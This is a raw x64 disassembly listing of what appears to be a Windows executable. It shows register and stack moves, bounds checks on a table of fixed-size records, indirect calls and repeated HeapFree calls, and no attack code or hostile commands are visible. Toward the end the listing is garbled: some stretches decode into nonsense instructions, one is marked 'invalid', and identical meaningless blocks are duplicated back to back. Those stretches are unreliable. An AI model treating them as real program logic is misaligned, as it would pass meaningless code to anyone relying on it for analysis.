mov eax, dword [rsp + 0xb88]
cmp eax, dword [r13 + 0x94]
movzx r12d, byte [rsp + 0x97]
jbe 0x14004f561
mov dword [r13 + 0x94], eax
mov rax, qword [r8 + 0x30]
cmp qword [r8 + 0x28], rax
jbe 0x1400560ca
mov r13, qword [rsp + 0x538]
mov r15d, dword [rsp + 0x540]
mov edx, dword [rsp + 0x544]
mov dword [rsp + 0xd98], r15d
mov dword [rsp + 0xd9c], edx
cmp qword [r13 + 0x10], r15
jbe 0x140055b22
mov rcx, qword [r13 + 8]
imul r8, r15, 0x130
cmp dword [rcx + r8], 2
je 0x140055b22
add rcx, r8
cmp dword [rcx + 0x114], edx
jne 0x140055b22
cmp byte [rcx + 0x120], 0
jne 0x1400560a5
inc rax
mov r8, qword [rsp + 0x70]
mov qword [r8 + 0x30], rax
mov byte [rcx + 0x120], 1
jmp 0x14004f606
mov r13, qword [rsp + 0x538]
mov r15d, dword [rsp + 0x540]
mov edx, dword [rsp + 0x544]
movzx r12d, byte [rsp + 0x97]
mov dword [rsp + 0xd98], r15d
mov dword [rsp + 0xd9c], edx
cmp qword [r13 + 0x10], r15
jbe 0x140055b22
mov rax, qword [r13 + 8]
imul rbx, r15, 0x130
cmp dword [rax + rbx], 2
je 0x140055b22
add rax, rbx
cmp dword [rax + 0x114], edx
jne 0x140055b22
cmp dword [rax + 0x30], 1
mov dword [rsp + 0xe0], edx
je 0x14004f993
movups xmm0, xmmword [0x14015a3e0]
movaps xmmword [rsp + 0x870], xmm0
movdqu xmm0, xmmword [0x14015a3d0]
movdqa xmmword [rsp + 0x860], xmm0
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x860]
call fcn.14001d380
mov rsi, rax
mov rax, qword [rsp + 0x860]
test rax, rax
je 0x14004f6b4
mov rdx, qword [rsp + 0x868]
mov r8, qword [rsp + 0x870]
lea rcx, [rsp + 0x878]
call qword [rax + 0x10]
test rsi, rsi
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0xe0]
je 0x14004f993
mov rcx, qword [rsi + 0x10]
cmp rcx, 0x13
jbe 0x14004f750
mov dword [rsp + 0xd98], r15d
mov dword [rsp + 0xd9c], edx
cmp qword [r13 + 0x10], r15
jbe 0x140055b22
mov rax, qword [r13 + 8]
cmp dword [rax + rbx], 2
je 0x140055b22
add rax, rbx
cmp dword [rax + 0x114], edx
jne 0x140055b22
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x550]
and rcx, rax
inc rcx
mov qword [rsp + 0x550], rcx
mov r12b, 1
mov ebp, 4
mov dword [rsp + 0x368], 0
mov dword [rsp + 0x35c], edx
mov rsi, qword [rsp + 0x830]
jmp 0x14004fb51
test rcx, rcx
je 0x14004f94a
mov r11, qword [rsi + 8]
xor r8d, r8d
xor eax, eax
movzx r9d, byte [r11 + r8]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x14004f6d3
lea rax, [rax + rax*4]
add r9b, 0xd0
movzx r9d, r9b
lea rax, [r9 + rax*2]
inc r8
cmp rcx, r8
jne 0x14004f762
jmp 0x14004f94c
mov qword [rax + 0x38], rcx
mov rax, qword [r15 + 0x10]
test byte [rsp + 0x594], 1
je 0x14004f864
mov dword [rsp + 0x860], r13d
mov dword [rsp + 0x864], ebx
cmp rax, r13
jbe 0x14005544c
mov rdx, qword [r15 + 8]
cmp dword [rdx + rsi], 2
je 0x14005544c
add rdx, rsi
cmp dword [rdx + 0x114], ebx
jne 0x14005544c
cmp dword [rdx + 0x30], 2
jne 0x14004f82c
cmp qword [rdx + 0x38], 0
je 0x14004f82c
lea rcx, [rsp + 0xfd0]
call fcn.140014cb0
mov eax, dword [rax + 0x114]
mov dword [rsp + 0xe0], eax
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x6b0]
and rsi, rax
inc rsi
mov bl, 1
mov qword [rsp + 0x40], 0
jmp 0x14004d55e
mov dword [rsp + 0xe0], 1
mov al, 1
mov qword [rsp + 0x40], rax
add rdx, 0x50
lea rcx, [rsp + 0x3d0]
call fcn.140020520
movzx eax, byte [rsp + 0x3d0]
cmp eax, 3
jne 0x140050ecc
mov rax, qword [r15 + 0x10]
mov dword [rsp + 0x860], r13d
mov dword [rsp + 0x864], ebx
cmp rax, r13
jbe 0x14005544c
mov rax, qword [r15 + 8]
cmp dword [rax + rsi], 2
je 0x14005544c
add rax, rsi
cmp dword [rax + 0x114], ebx
jne 0x14005544c
cmp byte [rax + 0x128], 0
mov r13, qword [rsp + 0x60]
je 0x14004f8df
test rbp, rbp
mov r12, qword [rsp + 0x50]
mov r15d, dword [rsp + 0x98]
je 0x1400515fb
mov ecx, dword [rax + 0xa0]
cmp ecx, ebp
jl 0x140055b98
sub ecx, ebp
jno 0x14005100b
mov al, 1
mov qword [rsp + 0x40], rax
jmp 0x140051026
sub dword [r14 + 0xf8], ebp
mov eax, dword [r14 + 0xb4]
add eax, ebp
mov rsi, qword [rsp + 0x6b0]
mov ecx, dword [rsp + 0x380]
mov r15d, dword [rsp + 0x98]
jno 0x140050f17
mov al, 3
mov qword [rsp + 0x40], rax
jmp 0x140050f25
mov rax, qword [rsp + 0x188]
cmp dword [rax], 1
jne 0x140050f38
mov rax, qword [r15 + 0x10]
cmp rax, qword [r15 + 0x58]
jbe 0x140051336
mov rax, qword [r15 + 0x58]
cmp qword [r15 + 0x10], rax
ja 0x140050f3c
jmp 0x140055dc4
xor eax, eax
mov dword [rsp + 0xd98], r15d
mov dword [rsp + 0xd9c], edx
cmp qword [r13 + 0x10], r15
mov r8, qword [rsp + 0x70]
jbe 0x140055bc4
mov rcx, qword [r13 + 8]
cmp dword [rcx + rbx], 2
je 0x140055bc4
add rcx, rbx
cmp dword [rcx + 0x114], edx
jne 0x140055bc4
mov qword [rcx + 0x30], 2
mov qword [rcx + 0x38], rax
cmp byte [rsp + 0xb78], 0
je 0x14004fe16
mov ebp, 3
test byte [r8 + 0x60], r14b
lea r9, [rsp + 0x960]
lea rcx, [rsp + 0x570]
mov rsi, qword [rsp + 0x830]
je 0x14004fb51
mov dword [rsp + 0xd98], r15d
mov dword [rsp + 0xd9c], edx
cmp qword [r13 + 0x10], r15
jbe 0x140055fc1
mov rax, qword [r13 + 8]
cmp dword [rax + rbx], 2
je 0x140055fc1
add rax, rbx
cmp dword [rax + 0x114], edx
jne 0x140055fc1
mov byte [rsp + 0x860], 0xb
mov qword [rsp + 0x878], 0
mov qword [rsp + 0x898], 0
mov qword [rsp + 0x8b8], 0
mov qword [rsp + 0x8d8], 0
mov word [rsp + 0x8f8], 0x1af
lea rax, [rsp + 0x978]
movups xmmword [rax + 0x10], xmm6
mov qword [rsp + 0x960], 0
mov qword [rsp + 0x978], 0
mov qword [rsp + 0x980], 8
mov qword [rsp + 0x998], 8
mov qword [rsp + 0x9a0], 0
mov qword [rsp + 0x9a8], 2
mov qword [rsp + 0x9b0], 0
mov word [rsp + 0x9b8], 0
lea rsi, [rsp + 0x860]
mov r8, rsi
call fcn.140017820
or byte [rsp + 0x68c], 1
mov rbp, qword [rsp + 0x570]
movzx eax, byte [rsp + 0x578]
mov dword [rsp + 0x368], eax
movzx r12d, byte [rsp + 0x579]
movzx eax, word [rsp + 0x57a]
mov word [rsp + 0xa2], ax
mov eax, dword [rsp + 0x57c]
mov dword [rsp + 0x35c], eax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x588]
mov rcx, qword [rsp + 0x590]
mov qword [rsp + 0xa08], rcx
mov rcx, qword [rsp + 0x598]
mov qword [rsp + 0xa00], rcx
mov r8d, pe_nt_image_headers64
mov rcx, rsi
mov rsi, rax
lea rdx, [rsp + 0x5a0]
call fcn.140121660
mov qword [rsp + 0x830], rsi
cmp qword [rsp + 0xac0], 0
je 0x14004fb7b
mov r8, qword [rsp + 0xab8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xa98]
test rbx, rbx
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
je 0x14004fbd8
mov rsi, qword [rsp + 0xa90]
add rsi, 0x30
jmp 0x14004fbbe
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbx
je 0x14004fbd8
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004fba3
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004fba3
cmp qword [rsp + 0xa88], 0
je 0x14004fbfa
mov r8, qword [rsp + 0xa90]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xab0]
test rdi, rdi
mov rbx, qword [rsp + 0x78]
je 0x14004fc33
mov rsi, qword [rsp + 0xaa8]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004fc18
cmp qword [rsp + 0xaa0], 0
je 0x14004fc55
mov r8, qword [rsp + 0xaa8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xad0]
call fcn.140012d20
cmp rbp, 3
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x370]
mov byte [rsp + 0x97], r12b
je 0x14004ffa4
cmp rbp, 4
movzx r10d, byte [rsp + 0x5f]
mov r11, qword [rsp + 0x340]
movzx r9d, word [rsp + 0xa2]
mov eax, dword [rsp + 0x368]
je 0x14004ff39
mov cl, 3
mov qword [rsp + 0x40], rcx
cmp rbp, 5
mov r12, qword [rsp + 0x50]
je 0x14004fdf9
mov qword [rsp + 0xe50], rbp
mov byte [rsp + 0xe58], al
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0xe59], al
mov word [rsp + 0xe5a], r9w
mov eax, dword [rsp + 0x35c]
mov dword [rsp + 0xe5c], eax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0xe60], rax
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0xe68], rax
mov rax, qword [rsp + 0xa08]
mov qword [rsp + 0xe70], rax
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0xe78], rax
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0xe80]
lea rdx, [rsp + 0x860]
call fcn.140121660
mov rax, qword [rsp + 0xbf8]
lea rcx, [rax + 0xa0]
mov rdx, qword [rsp + 0x308]
mov r8, qword [rdx]
add rax, 0x140
mov qword [rsp + 0x28], rax
mov rbp, qword [rsp + 0x110]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0xe50]
lea rsi, [rsp + 0x538]
mov r9, rsi
call fcn.1400c28b0
mov rax, qword [rsp + 0xbf8]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov r8d, 7
mov r9, rbp
call fcn.140015c40
mov rcx, qword [rsp + 0xbf8]
mov rdx, rsi
mov rsi, qword [rsp + 0x370]
mov r8, rbp
call fcn.140013360
movzx r9d, word [rsp + 0xa2]
mov r11, qword [rsp + 0x340]
movzx r10d, byte [rsp + 0x5f]
mov rbp, qword [rsp + 0x88]
movzx r8d, byte [rsp + 0x87]
mov edx, dword [rsp + 0x1c0]
jmp 0x140050ced
mov eax, dword [rsp + 0xb88]
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0x1a8], rax
mov rsi, qword [rsp + 0xa90]
mov rbp, qword [rsp + 0xa98]
mov rax, qword [rsp + 0xaa0]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0xaa8]
mov qword [rsp + 0x40], rax
mov r14, qword [rsp + 0xab0]
mov rax, qword [rsp + 0xab8]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0xac0]
mov qword [rsp + 0x350], rax
mov r12, qword [rsp + 0xac8]
mov r8d, 0xa0
lea rcx, [rsp + 0xd98]
lea rdx, [rsp + 0xad0]
call fcn.140121660
mov rcx, qword [rsp + 0x70]
cmp qword [rsp + 0xe10], 0
je 0x14004fed7
cmp byte [rcx + 0x60], 1
jne 0x14004fed7
mov rax, qword [rsp + 0xd0]
cmp byte [rax + 0x9d], 0
je 0x140050363
movzx eax, word [rsp + 0xe30]
test ax, ax
mov edx, dword [rsp + 0xe0]
je 0x1400500ea
cmp byte [rcx + 0x60], 1
jne 0x14005004c
mov dword [rsp + 0x740], r15d
mov dword [rsp + 0x744], edx
cmp qword [r13 + 0x10], r15
mov r12, qword [rsp + 0x50]
jbe 0x1400560bd
mov rax, qword [r13 + 8]
cmp dword [rax + rbx], 2
je 0x1400560bd
add rax, rbx
cmp dword [rax + 0x114], edx
je 0x1400503a5
jmp 0x1400560bd
mov qword [rsp + 0x40], rax
movzx r8d, byte [rsp + 0x97]
mov word [rsp + 0x152], r9w
mov edx, dword [rsp + 0x35c]
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0xa08]
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0xa10], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x558], rax
mov rbp, qword [rsp + 0x88]
jmp 0x140050042
mov rax, qword [rsp + 0x538]
mov ecx, dword [rsp + 0x540]
mov edx, dword [rsp + 0x544]
mov dword [rsp + 0x960], ecx
mov dword [rsp + 0x964], edx
cmp qword [rax + 0x10], rcx
mov rbp, qword [rsp + 0x88]
movzx r10d, byte [rsp + 0x5f]
mov r11, qword [rsp + 0x340]
movzx r9d, word [rsp + 0xa2]
jbe 0x140055ee4
mov rax, qword [rax + 8]
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x140055ee4
add rax, rcx
cmp dword [rax + 0x114], edx
jne 0x140055ee4
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x558]
and rcx, rax
or rcx, 7
mov qword [rsp + 0x558], rcx
mov r8b, 1
mov qword [rsp + 0x40], 0
mov r12, qword [rsp + 0x50]
jmp 0x140050ced
add eax, 0xffffff9c
cmp ax, 0x64
jae 0x1400500ea
mov qword [rsp + 0x180], rsi
cmp qword [rsp + 0x350], 0
je 0x140050083
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x330]
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
je 0x140050570
mov rax, qword [rsp + 0x180]
lea rsi, [rax + 0x30]
jmp 0x1400500d0
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbp
je 0x140050570
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400500b1
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x1400500b1
mov qword [rsp + 0x160], r13
mov r13, rsi
movzx esi, byte [rcx + 0x60]
mov r8d, 0xa0
lea rcx, [rsp + 0x960]
lea rdx, [rsp + 0xad0]
call fcn.140121660
mov rax, qword [rsp + 0xa80]
mov qword [rsp + 0x7c0], rax
movdqu xmm0, xmmword [rsp + 0xa70]
movdqa xmmword [rsp + 0x7b0], xmm0
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x7c8], rax
mov qword [rsp + 0x7d0], r13
mov qword [rsp + 0x7d8], rbp
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x7e8], rax
mov qword [rsp + 0x7f0], r14
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x560], r12
mov qword [rsp + 0x808], r12
mov byte [rsp + 0xc48], sil
cmp sil, 1
jne 0x14005028f
lea rcx, [rsp + 0x860]
lea rdx, [rsp + 0x960]
lea r8, [rsp + 0x7b0]
mov r9d, dword [rsp + 0x180]
call fcn.14001eb90
mov rax, qword [rsp + 0x860]
movzx ecx, byte [rsp + 0x868]
mov qword [rsp + 0x40], rcx
cmp rax, 3
mov rsi, qword [rsp + 0x370]
jne 0x14005075d
movzx r8d, byte [rsp + 0x869]
movzx edx, word [rsp + 0x86a]
mov ecx, dword [rsp + 0x86c]
mov r14, qword [rsp + 0x870]
mov rax, qword [rsp + 0x878]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x1a8], rax
mov eax, 4
mov r9, qword [rsp + 0x888]
mov qword [rsp + 0x180], r9
mov rbp, qword [rsp + 0x88]
movzx r10d, byte [rsp + 0x5f]
mov r11, qword [rsp + 0x340]
mov r12, qword [rsp + 0x50]
movzx r9d, word [rsp + 0x1d0]
mov r13, qword [rsp + 0x160]
jmp 0x14005099a
mov qword [rsp + 0x180], r13
mov esi, dword [rsp + 0x9f8]
test si, si
mov eax, 0xc8
cmove esi, eax
mov r12, qword [rsp + 0x7b0]
mov rax, qword [rsp + 0x7b8]
mov qword [rsp + 0x158], rax
mov r13, qword [rsp + 0x7c0]
mov eax, dword [rsp + 0x860]
mov dword [rsp + 0xe38], eax
movzx eax, byte [rsp + 0x864]
mov byte [rsp + 0xe3c], al
lea rcx, [rsp + 0x960]
call fcn.140012d20
cmp r12, 3
jne 0x1400508d8
mov eax, 4
mov r8, qword [rsp + 0x158]
mov qword [rsp + 0x158], r13
mov rcx, qword [rsp + 0x1a8]
mov qword [rsp + 0x348], rcx
mov rcx, qword [rsp + 0x180]
mov qword [rsp + 0x1a8], rcx
mov qword [rsp + 0x180], rbp
movzx r10d, byte [rsp + 0x5f]
mov r11, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x370]
mov r12, qword [rsp + 0x50]
movzx r9d, word [rsp + 0x1d0]
jmp 0x14005096c
mov dword [rsp + 0x740], r15d
mov ecx, dword [rsp + 0xe0]
mov dword [rsp + 0x744], ecx
cmp qword [r13 + 0x10], r15
mov r12, qword [rsp + 0x50]
jbe 0x1400560bd
mov rax, qword [r13 + 8]
cmp dword [rax + rbx], 2
je 0x1400560bd
add rax, rbx
cmp dword [rax + 0x114], ecx
jne 0x1400560bd
mov r15d, dword [rsp + 0x98]
mov qword [rsp + 0x180], rsi
cmp qword [rsp + 0x350], 0
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
je 0x1400503e1
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x330]
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x140050429
mov rax, qword [rsp + 0x180]
lea rsi, [rax + 0x30]
jmp 0x14005040f
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbp
je 0x140050429
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400503f4
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x1400503f4
cmp qword [rsp + 0x1a8], 0
je 0x14005044b
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x180]
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
mov rbp, qword [rsp + 0x88]
je 0x14005047c
mov rax, qword [rsp + 0x40]
lea rsi, [rax + 0x38]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec r14
jne 0x140050461
cmp qword [rsp + 0x128], 0
je 0x14005049b
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x550]
and rsi, rax
inc rsi
lea rcx, [rsp + 0xd98]
call fcn.140012d20
mov byte [rsp + 0x97], 1
mov dword [rsp + 0x368], 0
mov edx, dword [rsp + 0xe0]
mov dword [rsp + 0x35c], edx
mov qword [rsp + 0x40], 0
mov r8b, 1
movzx r9d, word [rsp + 0xa2]
mov word [rsp + 0x152], r9w
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0xa08]
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0xa10], rax
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x558], rsi
movzx r10d, byte [rsp + 0x5f]
mov r11, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x370]
jmp 0x140050ced
call fcn.14012bf20
test al, al
jne 0x14004c365
mov byte [rbx + 1], 1
jmp 0x14004c365
cmp qword [rsp + 0x1a8], 0
je 0x140050592
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x180]
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
mov rbp, qword [rsp + 0x88]
je 0x1400505c3
mov rax, qword [rsp + 0x40]
lea rsi, [rax + 0x38]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec r14
jne 0x1400505a8
cmp qword [rsp + 0x128], 0
je 0x1400505e2
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xd98]
call fcn.140012d20
movzx r10d, byte [rsp + 0x5f]
movzx r8d, byte [rsp + 0x87]
mov r11, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x370]
jmp 0x140050cd6
movups xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x1020], xmm0
movups xmm0, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x1010], xmm0
movdqu xmm0, xmmword [rsp + 0x1e0]
movups xmm1, xmmword [rsp + 0x1f0]
movups xmm2, xmmword [rsp + 0x200]
movups xmm3, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x1000], xmm3
movaps xmmword [rsp + 0xff0], xmm2
movaps xmmword [rsp + 0xfe0], xmm1
movdqa xmmword [rsp + 0xfd0], xmm0
mov r8d, 0xa0
lea r15, [rsp + 0xe50]
mov rcx, r15
lea rdx, [rsp + 0x240]
mov ebp, eax
call fcn.140121660
mov rcx, rdi
mov rdx, r15
lea r8, [rsp + 0xfd0]
mov r9d, ebp
call fcn.14001eb90
mov rdi, qword [rsp + 0x570]
movzx r9d, byte [rsp + 0x578]
movzx r10d, byte [rsp + 0x579]
movzx ecx, word [rsp + 0x57a]
mov r15d, dword [rsp + 0x57c]
mov ebp, dword [rsp + 0x580]
mov edx, dword [rsp + 0x584]
mov r8, qword [rsp + 0x588]
mov qword [rsp + 0x180], r8
mov r11, qword [rsp + 0x590]
mov r8, qword [rsp + 0x598]
cmp rdi, 3
jne 0x14005103f
mov rdi, qword [rsp + 0x180]
cmp r9b, 3
jne 0x14005170d
out dx, al
sldt word [rax]
out dx, al
sldt word [rax]
mov r13d, dword [rsp + 0x968]
mov esi, dword [rsp + 0x96c]
mov word [rsp + 0x394], cx
mov eax, edx
mov qword [rsp + 0xa30], rax
mov qword [rsp + 0xba8], rdi
mov qword [rsp + 0xba0], r11
mov qword [rsp + 0xb98], r8
jmp 0x14005129e
movzx r8d, byte [rsp + 0x869]
movzx edx, word [rsp + 0x86a]
mov ecx, dword [rsp + 0x86c]
mov r14, qword [rsp + 0x870]
mov r9, qword [rsp + 0x878]
mov qword [rsp + 0x348], r9
mov r9, qword [rsp + 0x880]
mov qword [rsp + 0x1a8], r9
mov r9, qword [rsp + 0x888]
mov qword [rsp + 0x180], r9
mov r11, qword [rsp + 0x890]
mov rsi, qword [rsp + 0x898]
mov r9, qword [rsp + 0x8a0]
mov qword [rsp + 0xd60], r9
mov r9, qword [rsp + 0x8a8]
mov qword [rsp + 0xd58], r9
mov r9, qword [rsp + 0x8b0]
mov qword [rsp + 0xd50], r9
mov r9, qword [rsp + 0x8b8]
mov qword [rsp + 0xd48], r9
mov r9, qword [rsp + 0x8c0]
mov qword [rsp + 0xd40], r9
lea r10, [rsp + 0x864]
movzx r9d, byte [r10 + 0x73]
mov byte [rsp + 0xce4], r9b
mov r9d, dword [r10 + 0x6f]
mov dword [rsp + 0xce0], r9d
mov r9, qword [r10 + 0xd4]
mov qword [rsp + 0x7a0], r9
mov r9, qword [rsp + 0x8c8]
mov qword [rsp + 0xd38], r9
movups xmm0, xmmword [r10 + 0x74]
movups xmm1, xmmword [r10 + 0x84]
movups xmm2, xmmword [r10 + 0x94]
movups xmm3, xmmword [r10 + 0xa4]
movaps xmmword [rsp + 0x740], xmm0
movaps xmmword [rsp + 0x750], xmm1
movaps xmmword [rsp + 0x760], xmm2
movaps xmmword [rsp + 0x770], xmm3
movups xmm0, xmmword [r10 + 0xb4]
movaps xmmword [rsp + 0x780], xmm0
movdqu xmm0, xmmword [r10 + 0xc4]
movdqa xmmword [rsp + 0x790], xmm0
movzx r10d, byte [rsp + 0x8d2]
movzx r9d, word [rsp + 0x8d0]
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x160]
jmp 0x14005099a
mov r8, r12
mov qword [rsp + 0x348], r13
movzx eax, byte [rsp + 0xe3c]
mov byte [rsp + 0xce4], al
mov eax, dword [rsp + 0xe38]
mov dword [rsp + 0xce0], eax
mov eax, 3
mov r10b, 3
mov r9d, esi
mov qword [rsp + 0xd38], 0
mov r11, rbp
mov rsi, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0xd60], rcx
mov qword [rsp + 0xd58], r14
mov rcx, qword [rsp + 0x330]
mov qword [rsp + 0xd50], rcx
mov rcx, qword [rsp + 0x350]
mov qword [rsp + 0xd48], rcx
mov rcx, qword [rsp + 0x560]
mov qword [rsp + 0xd40], rcx
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x160]
mov rcx, r8
shr rcx, 0x20
mov edx, r8d
shr edx, 0x10
mov qword [rsp + 0x40], r8
shr r8d, 8
or byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x58
add dword [rax], eax
invalid
or byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x58
add dword [rax], eax
add byte [rsi + 0x44], ah
mov dword [rsp + 0x1d0], ecx
mov word [rsp + 0x1d0], r9w
cmp eax, 4
jne 0x140050a46
mov qword [rsp + 0x550], r14
mov rbx, qword [rsp + 0x180]
mov qword [rsp + 0xa00], rbx
mov r15, r14
mov r14, qword [rsp + 0x1a8]
mov qword [rsp + 0xa08], r14
mov r13, qword [rsp + 0x348]
mov qword [rsp + 0x830], r13
mov dword [rsp + 0x35c], ecx
mov r9d, edx
mov byte [rsp + 0x97], r8b
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x368], eax
mov word [rsp + 0x152], dx
and al, 0x52
add dword [rax], eax
add byte [rcx - 0x5376b336], cl
and al, 0x20
or al, byte [rax]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x18
or al, byte [rax]
add byte [rax - 0x77], cl
pushfq
and al, 0x10
or al, byte [rax]
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x58
add eax, 0x8b480000
pop rsp
and al, 0x78
and al, 0x52
add dword [rax], eax
add byte [rcx - 0x5376b336], cl
and al, 0x20
or al, byte [rax]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x18
or al, byte [rax]
add byte [rax - 0x77], cl
pushfq
and al, 0x10
or al, byte [rax]
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x58
add eax, 0x8b480000
pop rsp
and al, 0x78
mov r13, qword [rsp + 0x60]
mov r15d, dword [rsp + 0x98]
jmp 0x140050ced
mov qword [rsp + 0x340], r11
mov qword [rsp + 0x890], r11
mov r12, rsi
mov qword [rsp + 0x898], rsi
mov r9, qword [rsp + 0xd60]
mov qword [rsp + 0x8a0], r9
mov r9, qword [rsp + 0xd58]
mov qword [rsp + 0x8a8], r9
mov r9, qword [rsp + 0xd50]
mov qword [rsp + 0x8b0], r9
mov r9, qword [rsp + 0xd48]
mov qword [rsp + 0x8b8], r9
mov r9, qword [rsp + 0xd40]
mov qword [rsp + 0x8c0], r9
mov word [rax + rax*8], fs
or byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x38
or eax, 0x894c0000
mov word [rax + rcx*8], fs
or byte [rax], al
add byte [rdi + rcx - 0x49], al
mov word [rax + rdx*8], fs
add dword [rax], eax
add byte [rsi + 0x44], ah
mov dword [rsp + 0x8d0], ecx
mov word [rax + rax*8], fs
or byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x38
or eax, 0x894c0000
mov word [rax + rcx*8], fs
or byte [rax], al
add byte [rdi + rcx - 0x49], al
mov word [rax + rdx*8], fs
add dword [rax], eax
add byte [rsi + 0x44], ah
mov dword [rsp + 0x8d0], ecx
mov esi, r10d
mov byte [rsp + 0x8d2], r10b
movzx r9d, byte [rsp + 0xce4]
